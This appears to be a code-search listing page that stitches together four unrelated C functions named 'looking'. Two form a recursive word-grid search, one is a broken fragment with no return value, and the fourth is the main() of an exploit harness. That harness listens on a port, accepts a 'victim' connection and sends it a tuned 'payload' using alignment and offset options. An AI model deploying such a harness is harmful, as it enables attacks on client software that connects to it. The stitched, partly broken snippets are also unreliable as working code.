Exemplo n.º 1
0
void looking (_node** tree, char** grid, char* string, stack* stack, table* allWords)
{
    int f = searchDictionary(tree,string);
    int i;

    if (f != -1)
    {
        if (f) tableAdd(allWords,string);
        stackPrint(stack);
        neighbors* n = getNeighbors (stackTop(stack));

        for (i = 0; i < neighSize(n); ++i)
        {
            position* newPos = neighGet(n,i);
            if (!stackFind(stack,newPos))
            {
                stackPush(stack,newPos);
                char newString[strlen(string)+1];
                strcpy(newString,string);
                strcat(newString,&(grid[newPos->x][newPos->y]));

                looking(tree,grid,newString,stack,allWords);
            }
        }
    }
}
Exemplo n.º 2
0
int reserve()
{
	int i = 0,ret;
	int table[256] = { 0 };
	looking(table);
	for(; i<NUMBER; i++)
		ret = table[rand() % 256];
}
Exemplo n.º 3
0
table* findAllWords (_node** tree, char** grid)
{
    table* allWords = tableNew();

    int i;
    int j;
    for (i = 0; i < SIZE_MAX_GRID; ++i)
    {
        for (j = 0; j < SIZE_MAX_GRID; ++j)
        {
            if (DEBUG) tablePrint(allWords);
            position* p = malloc(sizeof(position));
            p->x = i;
            p->y = j;
            stack* s = stackNew();
            stackPush(s,p);
            looking (tree, grid, &(grid[i][j]), s, allWords);
        }
    }

}
Exemplo n.º 4
0
int
main(int argc, char **argv)
{
	unsigned int align = 0, offset = 0, reuse = 1;
	unsigned int port = PORT;
	unsigned int cl_buf, opts;

	signed int clisock_fd, sock_fd;
	
	static char *exploit, *work;

	struct sockaddr_in victim;
	struct sockaddr_in confess;


	if(argc < 2) {
		banner();
		example(exploit);
		_exit(1);
	}banner();


	while((opts = getopt(argc, argv, "a:o:")) != -1) {
		switch(opts)
			{
			case 'a':
				align = atoi(optarg);
				break;
			case 'o':
				offset = atoi(optarg);
				break;
			default:
				align = ALIGN;
				offset = OFFSET;
			}
	}

	if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		die("Could not create socket");
	}

	if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
		die("Could not re-use socket");
	}
	
	memset(&confess, 0, sizeof(confess));

	confess.sin_family = AF_INET;
	confess.sin_port = htons(port);
	confess.sin_addr.s_addr = htonl(INADDR_ANY);

	if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
	die("Could not bind socket");
	}

	if(listen(sock_fd, 0) == -1) {
		die("Could not listen on socket");
	}

	printf(" -> Listening for a connection on port %d\n", port);

	cl_buf = sizeof(victim);
	clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);

	fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));

	if(pkg_prep(clisock_fd, align, offset) == 1) {
		fprintf(stderr, "Could not prep package\n");
		_exit(1);
	}

	if(pkg_send(clisock_fd, payload) == 1) {
		fprintf(stderr, "Could not send package\n");
		_exit(1);
	}
	sleep(2);

	fprintf(stderr, " -> Test complete\n\n");

	close(clisock_fd); looking(work);

	return SUCCESS;
}